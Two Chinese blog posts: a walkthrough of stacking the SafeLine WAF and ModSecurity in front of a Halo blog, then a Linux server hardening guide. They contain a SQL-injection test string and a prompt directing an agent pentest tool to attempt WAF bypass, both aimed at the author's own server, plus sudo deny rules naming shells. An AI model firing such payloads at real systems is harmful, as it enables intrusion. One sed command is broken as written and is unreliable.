泷羽Sec-分享网络安全 | 安全产品测评 | 网站建设 - 蓝队防御
对于雷池的文章我还有这几篇，包括常见的https配置、雷池+frp反代，以及其他的试用方法都有https://mp.weixin.qq.com/s/3JLrkymD7d46IaWbQup4wQhttps://mp.weixin.qq.com/s/Nvkx7Qdacmm9wx6OpJbejAhttps://mp.weixin.qq.com/s/VBD12Ttwh8JS1oQLC_4gWAhttps://mp.weixin.qq.com/s/z0NU3V4RASBFoE_cG0js7A本篇文章主要讲解halo和雷池的搭建过程，以及防护流量走向，架构设计等等算上自己上班时间，这篇文章总耗时7天+，自认为是一篇非常不错的文章，建议收藏转发，共5k+字，防止后面找不到了在写这篇文章期间遇到过很多部署问题，不过已经被我小羽全部解决了通过本篇文章可以避免很多问题，帮助您搭建属于自己的防护环境，即使您没有任何WAF搭建的经历，也可以通过本篇文章来学习企业级WAF环境搭建的完整流程完整总体网络拓扑架构互联网流量 │ ▼ ┌─────────────┐ │ WAF-A │ 第一层（外层） │ (如雷池) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ WAF-B │ 第二层（内层） │ (如ModSec) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ halo │ 真实后端 └─────────────┘若读过我这篇文章的师傅们，2025最新教程，使用雷池搭建内网靶场，进行简单的WAF绕过搭配上本篇文章的教学，完全能搭建出如下架构的企业级防护环境，再牛逼点，自己再配个系统加固的防护应用为什么要采用这样的架构？不同的WAF产品拦截规则、检测的算法一般都是不同的，如果攻击者绕过了第一层WAF，那么第二层就不一定能绕过了，这才是核心价值，非常恶心的是，现实环境中还真有人这么干，层层防护，做系统加固一般这样的架构第一层WAF，用来拦截常见的攻击手法比如漏扫 / CC，第二层针对真实的业务进行定制拦截，两层分贝专注不同的威胁，如果不嫌流量太多，那你可以全开，这样做的好处就是减少日志分析的压力服务器选购阿里云九折优惠：https://link.aitq.net/RcgjvF实惠海外服务器：https://link.aitq.net/RYbx8O通过我的专属优惠链接下单的师傅们，可以添加我v信 bAIbAIxiaoyu2024，享受一对一线上技术服务，若是长沙线下较近的，可线下上门服务雷池WAF配置表参考你的客户类型WAF 推荐配置个人站长 / 小微企业2 核 2G ~ 4 核 4G中小企业4 核 4G ~ 8 核 8G中型互联网公司8 核 8G ~ 16 核 16G集团 / 金融 / 政企16 核 16G+ 集群雷池安装首先更新系统，确保你的软件包和系统源都是最新的，这里我用的是ubuntu 24sudo apt update -y && sudo apt upgrade -y一键安装脚本，新机子默认没有装Docker，雷池会自动帮你装好，无需配置代理和下载源，预计时间3分钟sudo bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/manager.sh)"出现账号密码还有地址信息，就代表安装成功了，注意这里的IP地址可能跟你的服务器公网IP地址不一致需要使用你服务器的公网IP地址+端口来访问，雷池后台默认使用的是ssl协议，如果有需要可以自行配置ssl证书，没有ssl证书就会出现如下界面，我们需要点击高级再点继续访问输入刚刚控制台显示的账号密码到此雷池安装成功，接下来搭建防护站点Halo CMS 服务搭建在开始之前，需要搭建一个站点，作为防守目标，这里我就用 halo 这个博客项目首先创建如下 Docker Compose 文件，Docker-compose.yamlservices: halo: image: registry.fit2cloud.com/halo/halo-pro:2.25 restart: on-fAIlure:3 depends_on: halodb: condition: service_healthy networks: halo_network: volumes: - ./halo2:/root/.halo2 ports: - "8090:8090" healthcheck: test: ["CMD", "curl", "-f", "http://localhost:8090/actuator/health/readiness"] interval: 30s timeout: 5s retries: 5 start_period: 30s environment: # JVM 参数，默认为 -Xmx256m -Xms256m，可以根据实际情况做调整，置空表示不添加 JVM 参数 - JVM_OPTS=-Xmx256m -Xms256m command: - --spring.r2dbc.url=r2dbc:pool:postgresql://halodb/halo - --spring.r2dbc.username=halo # PostgreSQL 的密码，请保证与下方 POSTGRES_PASSWORD 的变量值一致。 - --spring.r2dbc.password=openpostgresql - --spring.sql.init.platform=postgresql # 外部访问地址，请根据实际需要修改 - --halo.external-url=http://localhost:8090/ halodb: image: postgres:15.4 restart: on-fAIlure:3 networks: halo_network: volumes: - ./db:/var/lib/postgresql/data healthcheck: test: [ "CMD", "pg_isready" ] interval: 10s timeout: 5s retries: 5 environment: - POSTGRES_PASSWORD=openpostgresql - POSTGRES_USER=halo - POSTGRES_DB=halo - PGUSER=halo networks: halo_network:修改源sudo vi /etc/Docker/daemon.json # 添加如下内容 { "registry-mirrors": [ "https://docker.srv.internal.wang", "https://docker.1ms.run", "https://docker.m.daocloud.io" ] }重启Dockersudo systemctl daemon-reload sudo systemctl restart Docker根据之前创建的yaml配置文件部署halosudo Docker compose up -d启动成功后，访问你的公网IP地址和Docker-compose.yaml文件配置的外部端口，我配置的是8090端口，配置模板如下官网登场配置拒绝公网访问，然后关闭防火墙关闭 8090 端口，去你的阿里云云服务器控制面板中设置，此时我们的流量访问情况如下互联网流量/用户访问 │ ▼ X 无法直接访问 ┌─────────────┐ │ halo │ 真实后端 ，http://127.0.0.1:8090 └─────────────┘雷池单层WAF搭建网络拓扑互联网流量/用户访问 │ ▼ ┌─────────────┐ │ WAF │ 外层，IP：你的公网IP，我的是 http://175.24.181.203 │ (雷池) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ halo │ 真实后端 ，http://127.0.0.1:8090 └─────────────┘1、雷池添加防护找到防护应用模块，点击添加应用填好上游服务器，还有域名信息此时再通过IP/域名访问，这个就是反向代理出来的 127.0.0.1:8090 Halo服务访问第一篇hellow halo文章，注入sql注入规则，若出现如下界面，则代表防护成功http://175.24.181.203/archives/hello-halo' or 1=1 --+对应的防护数据，在攻击防护中查看可视化统计面板双层WAF搭建若雷池被攻破了，会直接影响业务，我们可以在雷池之下再搭建一层WAF，不同的waf规则不同，防护的强度也会增大，在hvv期间很多人会这么干那为什么要用 雷池 作为最外层，因为雷池的强大是总所周知的，花耗时近10年打造的WAF产品，由长亭独创的智能语义分析算法驱动第二层waf，推荐使用ModSecurity WAF，网络架构互联网流量/用户访问 │ ▼ ┌─────────────┐ │ WAF-A │ 第一层（外层）http://175.24.181.203 │ (雷池) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ WAF-B │ 第二层（内层） │(ModSecurity)│ 监听端口：http://127.0.0.1:8080 └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ halo │ 真实后端，http://127.0.0.1:8090 └─────────────┘ModSecurity WAF 搭建安装命令sudo apt install -y nginx libnginx-mod-http-modsecurity modsecurity-crs配置 ModSecurity 主规则文件sudo tee /etc/modsecurity/modsecurity.conf << 'EOF' # 全局开关：On=开启拦截，DetectionOnly=仅日志不拦截 SecRuleEngine On # 开启请求体检测，覆盖 POST 参数 SecRequestBodyAccess On SecResponseBodyAccess Off # 日志配置 SecAuditEngine RelevantOnly SecAuditLog /var/log/nginx/modsec_audit.log SecDebugLog /var/log/nginx/modsec_debug.log SecDebugLogLevel 0 # 临时目录配置 SecTmpDir /tmp/ SecDataDir /tmp/ # CRS 核心必需变量（修复 901001 自检 500 报错） # 版本号对应 OWASP CRS 3.3.5 SecAction "id:900000,phase:1,pass,nolog,\ setvar:tx.crs_setup_version=3033500,\ setvar:tx.anomaly_score=5,\ setvar:tx.paranoia_level=1,\ setvar:tx.sql_injection_score=5,\ setvar:tx.XSS_score=5" # 按依赖顺序加载 CRS 核心规则 Include /usr/share/modsecurity-crs/rules/REQUEST-901-INITIALIZATION.conf Include /usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf Include /usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf Include /usr/share/modsecurity-crs/rules/REQUEST-921-PROTOCOL-ATTACK.conf Include /usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf Include /usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf Include /usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf Include /usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf Include /usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf Include /usr/share/modsecurity-crs/rules/RESPONSE-950-DATA-LEAKAGES.conf Include /usr/share/modsecurity-crs/rules/RESPONSE-959-BLOCKING-EVALUATION.conf EOF创建nginx反向代理站点，监听8080断开，将 ModSecurity 流量转发到 Halo 后端sudo tee /etc/nginx/sites-avAIlable/modsec-waf << 'EOF' server { listen 8080; server_name _; # 启用 ModSecurity WAF modsecurity on; modsecurity_rules_file /etc/modsecurity/modsecurity.conf; # 反向代理到 Halo 后端 location / { proxy_pass http://127.0.0.1:8090; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } } EOF释放 80 端口，不然会和雷池冲突sudo unlink /etc/nginx/sites-enabled/default启用站点并重启 ModSec 服务# 启用 ModSecurity 站点 sudo ln -sf /etc/nginx/sites-avAIlable/modsec-waf /etc/nginx/sites-enabled/ # 检查配置语法 sudo nginx -t # 重启 Nginx sudo systemctl restart nginx雷池 WAF 配置点击删除防护站点注意此时本地应用是8080端口，原来是 halo 8090 端口访问站点，能够正常访问拦截测试，注意，此次攻击流量没有走到第二层waf，已经被雷池给拦截了所以你在第二层waf中看不到此请求所以我们为了能直观的看到ModSecurity WAF是否搭建成功，我们需要去阿里云的控制台放行 8080 端口防火墙直接访问8080端口，真实情况下我们是不会开放这个端口的http://175.24.181.203:8080/sql注入测试http://175.24.181.203:8080/archives/hello-halo' or 1=1 --+对应的拦截日志# 实时查看拦截日志 tAIl -f /var/log/nginx/modsec_audit.log我用AI写了一个批量测试脚本 waf_test.sh赋予执行权限chmod +x waf_test.sh执行文件双层WAF，Agent 攻击测试最近热门的就是agent自动渗透了，我用的是strix这个开源项目，自己用rust魔改了一版./strix-rs -t http://175.24.181.203/ -m quick -i "请只对带雷池waf防护的80端口halo应用进行全面的渗透测试，和waf绕过，最后告诉我你使用了哪些规则，是否绕过，打印在终端中"来看看agent怎么讲？几乎全是正面反馈经过50次的会话迭代，未发现漏洞和绕过雷池的规则来看看雷池防护了多少攻击次数攻击日志分析，每一条未拦截的日志，咱们都可以在第二层modsec waf中添加自定义规则，从而达理想的到防护效果用之前AI生成的攻击脚本，将端口去掉，打雷池常见问题1、运维人员如何规避重复告警？对于双重waf，一个sql注入的请求，可能会被两个waf一起拦截，从而两个waf都产生大量告警应对方法，我们可以把每一个waf进行分工，比如WAF-1负责黑白名单、CC、通用攻击；WAF-2负责敏感信息泄露、业务逻辑漏洞等等。2、延迟增加每个请求都会经过一层反向代理，两层waf如果不在同一个机房，延迟会显著增加，我们可以将三台服务器尽量部署在同一个内网或者同一个机柜中，这样延迟能下降不少3、真实IP地址丢失第一层waf流量转发给第二层时，源IP变成WAF-1的内网IP。第二层waf和业务服务看到的全是127.0.0.1之类的地址，通常用 X-Forwarded-For 或 X-Real-IP 头传递真实IP需要在防护应用中的高级配置中，为上游服务器传递 X-Forwarded-Host、 X-Forwarded-Proto如何获取授权？雷池社区版开箱即用，但如果需要更加专业的防护，可以打开下面短链扫码登录获取授权，通过我的专属链接下单，可享受一对一专属技术顾问进行答疑，欢迎咨询 / 项目合作https://link.aitq.net/mt2nFu登录后找到雷池授权商店，打开这个应用点击购买授权这里支持专业版和商业版的试用套餐，点击申请试用即可同样的，也可以扫描下方二维码，加入雷池社群，寻找工作人员获取授权，感谢阅读
前言Linux 服务器是企业业务的核心载体，从 Web 服务、数据库、中间件到容器集群，绝大多数生产业务都运行在 Linux 系统之上。而互联网暴露面扩大、供应链漏洞频发、定向攻击常态化，让 Linux 服务器成为黑客入侵的首要目标。安全加固的核心目标，是通过最小权限原则、纵深防御体系、持续审计机制，缩小服务器攻击面，阻断攻击路径，提升抗入侵能力 —— 即使边界防护被突破，也能最大程度保护核心数据与业务安全。本文覆盖从账号认证、服务最小化、权限管控到网络防护、日志审计、入侵检测的全维度落地方案，适配 CentOS 7/8/9、RHEL 7/8/9、Ubuntu 20.04/22.04/24.04 等主流企业级发行版，所有操作均配套明确的配置命令、验证方法与回滚方案，可直接落地到生产环境。一、前置核心加固原则所有加固操作需严格遵循以下原则，避免业务中断或防护失效：1、 最小权限原则：仅给用户、服务、进程分配完成任务所需的最小权限，杜绝过度授权2、 最小暴露原则：关闭所有非必要的端口、服务、组件，从根源缩小攻击面3、 纵深防御原则：构建账号、网络、文件、应用多层防护体系，避免单点防护失效4、 可回滚原则：修改配置前必须备份原文件，所有操作均配套回滚方法，避免生产故障5、 持续审计原则：加固不是一次性操作，需定期开展基线检查、漏洞扫描与日志审计，持续优化防护策略【生产环境避坑提示】所有涉及系统核心配置、SSH 服务、防火墙的修改，需先在测试环境验证，再逐步落地生产；修改 SSH 配置后，需先保留当前会话，用新会话测试登录正常后，再关闭原会话，避免服务器失联。二、账号与身份认证安全加固账号与认证是服务器安全的第一道防线，超过 70% 的 Linux 入侵事件，都源于弱口令、账号过度授权、SSH 配置缺陷导致的边界突破。2.1 清理无用账号，消除风险账户系统安装、业务迭代过程中会产生大量无用账号，包括默认创建的程序账号、废弃的运维账号，这些账号往往成为黑客入侵的突破口。# 1、备份原账号配置文件，方便回滚 cp /etc/passwd /etc/passwd.bak.$(date +%Y%m%d) cp /etc/shadow /etc/shadow.bak.$(date +%Y%m%d) # 2、查看系统中所有可登录的账号，排查废弃账号 cat /etc/passwd | grep -E "/bin/bash|/bin/sh|/bin/zsh" # 3、锁定无用账号（推荐，可恢复，比直接删除更安全） usermod -L 废弃用户名 # 解锁账号回滚命令：usermod -U 废弃用户名 # 4、禁用程序账号的登录权限，杜绝账号被滥用 usermod -s /sbin/nologin 程序用户名 # 示例：usermod -s /sbin/nologin apache 2.2 强制配置强密码策略弱口令是黑客暴力破解的首要目标，需通过 PAM 模块强制系统所有用户使用复杂度达标的密码，同时限制密码有效期与重试次数。适配 CentOS/RHEL 系列# 1、安装密码质量检测模块 yum install -y libpwquality # 2、修改密码策略配置文件，强制密码复杂度 vi /etc/security/pwquality.conf # 新增/修改以下配置： minlen = 12 # 密码最小长度12位 minclass = 3 # 必须包含大小写字母、数字、特殊符号中的3种 maxrepeat = 3 # 禁止连续3个相同字符 difok = 5 # 新密码与旧密码至少5个字符不同 enforce_for_root = 1 # 强制root用户也遵循该策略 # 3、配置密码登录失败锁定策略，防止暴力破解 vi /etc/pam.d/system-auth vi /etc/pam.d/password-auth # 在auth字段新增配置，连续5次失败锁定10分钟： auth required pam_fAIllock.so preauth audit silent deny=5 unlock_time=600 auth [default=die] pam_fAIllock.so authfAIl audit deny=5 unlock_time=600 auth sufficient pam_fAIllock.so authsucc audit 适配 Ubuntu/Debian 系列# 1、安装密码质量检测模块 apt install -y libpam-pwquality # 2、修改密码策略配置 vi /etc/pam.d/common-password # 修改pam_pwquality.so行，添加强制规则： password requisite pam_pwquality.so retry=3 minlen=12 minclass=3 maxrepeat=3 enforce_for_root # 3、配置登录失败锁定策略 vi /etc/pam.d/common-auth # 新增配置，连续5次失败锁定10分钟： auth required pam_fAIllock.so preauth audit silent deny=5 unlock_time=600 auth [default=die] pam_fAIllock.so authfAIl audit deny=5 unlock_time=600 auth sufficient pam_fAIllock.so authsucc audit 2.3 SSH 服务全维度安全加固SSH 是 Linux 远程管理的核心协议，也是黑客攻击的头号目标，需从认证方式、访问控制、端口配置等维度完成全量加固。# 1、备份SSH配置文件，方便回滚 cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak.$(date +%Y%m%d) # 2、修改SSH核心配置 vi /etc/ssh/sshd_config # 核心加固项如下： Port 22345 # 修改默认22端口，减少全网扫描攻击 PermitRootLogin no # 禁止root用户直接登录 PubkeyAuthentication yes # 开启公钥认证，优先使用密钥登录 PasswordAuthentication no # 关闭密码认证，彻底杜绝暴力破解 PermitEmptyPasswords no # 禁止空密码登录 MaxAuthTries 3 # 最大认证尝试次数3次 ClientAliveInterval 300 # 5分钟无操作自动断开连接 ClientAliveCountMax 2 # 无响应最大次数2次 AllowUsers 运维用户名@192.168.1.0/24 # 配置IP白名单，仅允许指定网段的指定用户登录 # 禁止使用不安全的加密算法与协议 KexAlgorithms curve25519-sha256@libssh.org,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256 Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com # 3、验证SSH配置语法是否正确，避免配置错误导致服务崩溃 sshd -t # 配置无报错后，重启SSH服务生效 # CentOS/RHEL：systemctl restart sshd # Ubuntu/Debian：systemctl restart ssh # 4、验证加固效果，用新会话测试登录，确认白名单、密钥认证正常生效 2.4 Sudo 提权权限精细化管控绝大多数提权攻击都利用了 sudo 的过度授权，需严格限制普通用户的 sudo 权限，杜绝直接给用户分配 ALL 权限。# 1、备份sudo配置文件 cp /etc/sudoers /etc/sudoers.bak.$(date +%Y%m%d) # 2、使用visudo命令编辑sudo配置（自带语法检查，避免配置错误） visudo # 错误配置（禁止使用）：运维用户名 ALL=(ALL) ALL # 正确配置：仅给用户分配完成工作所需的最小命令权限，示例： 运维用户名 ALL=(ALL) /usr/bin/systemctl restart nginx, /usr/bin/tAIl -f /var/log/nginx/access.log # 禁止用户通过sudo修改sudo配置、切换root、执行高危命令 Defaults !visiblepw Defaults always_set_home Defaults secure_path = /sbin:/bin:/usr/sbin:/usr/bin Defaults env_reset # 禁止sudo执行su、vim、bash等可直接提权的命令 运维用户名 ALL=(ALL) !/usr/bin/su, !/usr/bin/bash, !/usr/bin/vim /etc/sudoers, !/usr/bin/visudo 三、系统服务与组件最小化加固系统运行的服务越多，开放的端口与攻击面就越大，黑客可利用的漏洞点就越多。最小化加固的核心，是只保留业务必需的服务与组件，关闭所有非必要内容。3.1 关闭非必要服务，缩小攻击面# 1、查看系统当前运行的所有服务 systemctl list-units --type=service --state=running # 2、停止并禁用非必要服务，示例如下（根据业务实际情况调整） # 禁用打印服务 systemctl stop cups systemctl disable cups # 禁用蓝牙服务 systemctl stop bluetooth systemctl disable bluetooth # 禁用IPv6相关服务（业务不使用IPv6时） systemctl stop ip6tables systemctl disable ip6tables # 禁用rpcbind服务（不使用NFS共享时） systemctl stop rpcbind systemctl disable rpcbind # 3、验证服务状态，确认已停止并禁用 systemctl status cups 3.2 定时任务安全管控定时任务是黑客权限维持的常用载体，需严格管控定时任务的创建权限，定期排查异常任务。# 1、限制允许使用crontab的用户，仅白名单用户可创建定时任务 echo "root" > /etc/cron.allow echo "运维用户名" >> /etc/cron.allow # 不在cron.allow中的用户，一律禁止使用crontab # 2、定期排查所有定时任务，发现异常立即处置 # 查看系统级定时任务 ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.dAIly/ /etc/cron.weekly/ /etc/cron.monthly/ # 查看所有用户的定时任务 cat /etc/passwd | cut -f1 -d: | xargs -I {} crontab -l -u {} 2>/dev/null # 3、给定时任务配置文件添加不可变属性，防止黑客篡改 chattr +i /etc/crontab chattr +i /etc/cron.allow 3.3 软件包与仓库安全加固# 1、删除非官方、不可信的软件源，仅保留官方仓库 # CentOS/RHEL：查看仓库配置 ls /etc/yum.repos.d/ # Ubuntu/Debian：查看仓库配置 ls /etc/apt/sources.list.d/ # 2、配置官方源的HTTPS协议，防止源劫持 # Ubuntu/Debian示例： sed -i 's/http://https://g' /etc/apt/sources.list # 3、禁止内核版本自动更新，避免生产业务兼容性故障 # CentOS/RHEL：yum install -y yum-plugin-versionlock && yum versionlock kernel* # Ubuntu/Debian：apt-mark hold Linux-image-generic Linux-headers-generic # 4、定期清理无用的软件包与依赖，减少攻击面 # CentOS/RHEL：yum autoremove -y # Ubuntu/Debian：apt autoremove -y 四、文件系统与权限安全加固Linux 的一切皆文件，文件权限管控是系统安全的核心，黑客入侵后往往通过文件权限漏洞实现提权、持久化、数据窃取。4.1 关键系统文件权限严格管控# 1、核心账号配置文件权限加固 chmod 644 /etc/passwd chmod 600 /etc/shadow chmod 644 /etc/group chmod 600 /etc/gshadow chown root:root /etc/passwd /etc/shadow /etc/group /etc/gshadow # 2、SSH配置文件权限加固 chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys chown root:root /root/.ssh /root/.ssh/authorized_keys chmod 600 /etc/ssh/sshd_config chown root:root /etc/ssh/sshd_config # 3、sudo配置文件权限加固 chmod 440 /etc/sudoers chown root:root /etc/sudoers # 4、全局查找全局可写的危险文件，排查权限漏洞 find / -type f -perm -0002 ! -type l -ls 2>/dev/null # 全局查找SUID权限的可执行文件，排查提权风险点 find / -perm -4000 -type f -ls 2>/dev/null 4.2 敏感文件不可变属性锁定通过 chattr 命令给核心配置文件添加不可变属性，即使是 root 用户，也无法修改、删除文件，防止黑客篡改系统配置、植入后门。# 1、锁定核心账号配置文件，禁止账号新增、修改 chattr +i /etc/passwd /etc/shadow /etc/group /etc/gshadow # 2、锁定SSH与sudo配置文件，防止黑客修改认证规则 chattr +i /etc/ssh/sshd_config /etc/sudoers # 3、锁定定时任务配置，防止黑客植入持久化后门 chattr +i /etc/crontab # 4、查看文件的扩展属性，确认锁定生效 lsattr /etc/passwd # 回滚方法：如需修改文件，先解除锁定 chattr -i 文件名 4.3 分区挂载安全加固通过分区挂载参数，限制高危操作，防止缓冲区溢出、提权攻击，生产环境建议单独给 /boot、/home、/tmp、/var 分区，避免根目录占满导致业务故障，同时配置安全挂载参数。# 1、修改/etc/fstab文件，配置分区安全挂载参数 vi /etc/fstab # 核心加固参数示例： # /tmp分区：禁止SUID、禁止设备文件、禁止可执行程序、禁止强制访问控制 /dev/sdb1 /tmp ext4 defaults,noexec,nosuid,nodev 0 0 # /var分区：禁止SUID、禁止设备文件 /dev/sdb2 /var ext4 defaults,nosuid,nodev 0 0 # /home分区：禁止SUID、禁止设备文件 /dev/sdb3 /home ext4 defaults,nosuid,nodev 0 0 # 2、重新挂载分区，使配置生效 mount -o remount /tmp mount -o remount /var mount -o remount /home # 3、验证挂载参数是否生效 mount | grep /tmp 4.4 核心文件完整性监控部署文件完整性监控工具，实时检测核心文件的修改行为，一旦出现非计划内的变更，立即触发告警，第一时间发现黑客的篡改行为。# 1、安装AIDE文件完整性监控工具 # CentOS/RHEL：yum install -y aide # Ubuntu/Debian：apt install -y aide # 2、初始化AIDE数据库，生成系统文件基线 aide --init mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz # 3、执行完整性检查，对比基线发现文件变更 aide --check # 4、配置定时任务，每天凌晨自动执行检查，发送告警邮件 echo '0 0 * * * root /usr/sbin/aide --check | mail -s "服务器文件完整性告警" 运维邮箱地址' > /etc/cron.d/aide_check 五、网络与防火墙安全加固网络层是阻断外部攻击的关键屏障，通过防火墙、内核参数加固，过滤恶意流量，防止端口扫描、DDoS 攻击、内网横向渗透。5.1 防火墙规则精细化配置根据业务实际需求，配置白名单规则，仅开放业务必需的端口，默认拒绝所有其他访问，这是网络防护的核心原则。适配 CentOS/RHEL 系列（firewalld）# 1、启动firewalld服务并设置开机自启 systemctl start firewalld systemctl enable firewalld # 2、配置默认规则：默认拒绝所有入站流量，允许所有出站流量 firewall-cmd --set-default-zone=drop firewall-cmd --permanent --zone=drop --set-target=DROP # 3、仅开放业务必需的端口，示例： # 开放自定义SSH端口22345，仅允许内网网段访问 firewall-cmd --permanent --zone=drop --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port protocol="tcp" port="22345" accept' # 开放Web服务80、443端口，允许全网访问 firewall-cmd --permanent --zone=drop --add-port=80/tcp firewall-cmd --permanent --zone=drop --add-port=443/tcp # 开放数据库3306端口，仅允许业务服务器IP访问 firewall-cmd --permanent --zone=drop --add-rich-rule='rule family="ipv4" source address="172.16.1.10/32" port protocol="tcp" port="3306" accept' # 4、重载防火墙规则，使配置生效 firewall-cmd --reload # 5、验证防火墙规则是否生效 firewall-cmd --list-all 适配 Ubuntu/Debian 系列（ufw）# 1、安装并启动ufw防火墙 apt install -y ufw systemctl start ufw systemctl enable ufw # 2、配置默认规则 ufw default deny incoming ufw default allow outgoing # 3、开放业务必需的端口，示例： # 自定义SSH端口22345，仅允许内网网段访问 ufw allow from 192.168.1.0/24 to any port 22345 proto tcp # 开放Web服务80、443端口 ufw allow 80/tcp ufw allow 443/tcp # 开放数据库3306端口，仅允许业务服务器访问 ufw allow from 172.16.1.10/32 to any port 3306 proto tcp # 4、启用防火墙并验证规则 ufw enable ufw status verbose 5.2 内核网络参数安全加固通过修改 /etc/sysctl.conf 内核参数，开启系统自带的网络防护能力，抵御 SYN 洪水、IP 欺骗、ICMP 攻击等常见网络攻击。# 1、备份sysctl配置文件 cp /etc/sysctl.conf /etc/sysctl.conf.bak.$(date +%Y%m%d) # 2、修改内核参数配置 vi /etc/sysctl.conf # 新增/修改以下核心加固配置： # 开启SYN Cookies，抵御SYN洪水攻击 net.ipv4.tcp_syncookies = 1 # 禁用IP源路由，防止IP欺骗 net.ipv4.conf.all.accept_source_route = 0 net.ipv4.conf.default.accept_source_route = 0 # 禁用ICMP重定向，防止路由劫持 net.ipv4.conf.all.accept_redirects = 0 net.ipv4.conf.default.accept_redirects = 0 net.ipv4.conf.all.secure_redirects = 0 net.ipv4.conf.default.secure_redirects = 0 # 开启反向路径过滤，防止IP地址欺骗 net.ipv4.conf.all.rp_filter = 1 net.ipv4.conf.default.rp_filter = 1 # 禁用IP转发，非网关服务器必须关闭 net.ipv4.ip_forward = 0 net.ipv6.conf.all.forwarding = 0 # 忽略广播ICMP请求，防止Smurf攻击 net.ipv4.icmp_echo_ignore_broadcasts = 1 # 忽略所有ICMP请求，业务不需要时开启 # net.ipv4.icmp_echo_ignore_all = 1 # 开启TCP洪水攻击防护 net.ipv4.tcp_synack_retries = 2 net.ipv4.tcp_syn_retries = 2 # 开启地址空间布局随机化，抵御缓冲区溢出攻击 kernel.randomize_va_space = 2 # 3、使内核参数配置生效 sysctl -p 六、日志审计与入侵防御体系建设6.1 日志全量审计与远程同步本地日志可被黑客删除篡改，必须配置日志远程同步，将所有系统日志、认证日志、业务日志实时同步到不可篡改的远程日志平台，这是溯源攻击行为的核心根基。# 1、配置rsyslog日志远程同步，将日志发送到远程日志服务器 vi /etc/rsyslog.conf # 新增配置，将所有日志通过TCP协议发送到远程日志服务器192.168.1.200的514端口 *.* @@192.168.1.200:514 # 2、重启rsyslog服务生效 systemctl restart rsyslog # 3、配置日志轮转，防止日志占满磁盘空间 vi /etc/logrotate.conf # 核心配置： rotate 30 # 保留30天的日志 daily # 每天轮转一次 compress # 压缩历史日志 missingok # 日志文件不存在不报错 notifempty # 空日志不轮转 6.2 系统操作行为全量审计通过 auditd 审计服务，监控所有敏感操作，包括账号修改、文件篡改、命令执行、权限变更，所有操作都会被记录，即使黑客清理了 Shell 历史，也无法删除审计日志。# 1、安装auditd审计服务 # CentOS/RHEL：yum install -y audit # Ubuntu/Debian：apt install -y auditd audispd-plugins # 2、启动服务并设置开机自启 systemctl start auditd systemctl enable auditd # 3、配置审计规则，监控核心敏感操作 vi /etc/audit/rules.d/audit.rules # 新增核心审计规则： # 监控账号配置文件修改 -w /etc/passwd -p wa -k passwd_modify -w /etc/shadow -p wa -k shadow_modify -w /etc/group -p wa -k group_modify # 监控认证配置修改 -w /etc/ssh/sshd_config -p wa -k sshd_modify -w /etc/sudoers -p wa -k sudo_modify # 监控定时任务修改 -w /etc/crontab -p wa -k cron_modify -w /etc/cron.d/ -p wa -k cron_dir_modify # 监控root用户的命令执行 -a exit,always -F arch=b64 -F euid=0 -S execve -k root_exec # 监控SUID提权操作 -a always,exit -F arch=b64 -S execve -F path=/usr/bin/su -k su_exec -a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k sudo_exec # 4、重载审计规则生效 augenrules --load # 5、查看审计日志，排查异常操作 ausearch -k passwd_modify ausearch -k sshd_modify 6.3 入侵防御工具部署1、 部署 fail2ban，自动封禁暴力破解 IP：监控 SSH、Web 服务的登录失败日志，连续多次失败后自动封禁 IP，杜绝暴力破解攻击。2、 部署 rkhunter 与 chkrootkit，定期检测 rootkit 后门：每周执行一次全盘扫描，检测黑客植入的 rootkit、后门程序。3、 部署 ClamAV 开源杀毒软件，定期扫描恶意文件：配置定时任务，每天凌晨扫描 Web 目录、临时目录，查杀 WebShell、恶意程序。七、持续运营与应急响应安全加固不是一次性操作，而是持续的运营过程，需建立完整的基线检查、漏洞管理、应急响应机制：1、 每月执行一次系统安全基线检查，对比加固基线，发现配置偏移立即修复2、 每周执行一次系统漏洞扫描，及时安装系统与软件的安全补丁，高危漏洞需 24 小时内完成修复3、 每天审计系统日志与告警信息，发现异常登录、文件修改、端口扫描行为，立即启动应急排查4、 定期备份核心配置文件与业务数据，制定完整的应急响应预案，发生入侵事件时可快速隔离、溯源、恢复业务结尾Linux 服务器安全加固的核心，是构建 “事前预防、事中阻断、事后溯源” 的完整防护体系。没有绝对安全的系统，但通过最小权限、纵深防御、持续审计的加固思路，可最大程度提升服务器的抗入侵能力，将黑客攻击的成本提升到最高，攻击成功率降到最低。
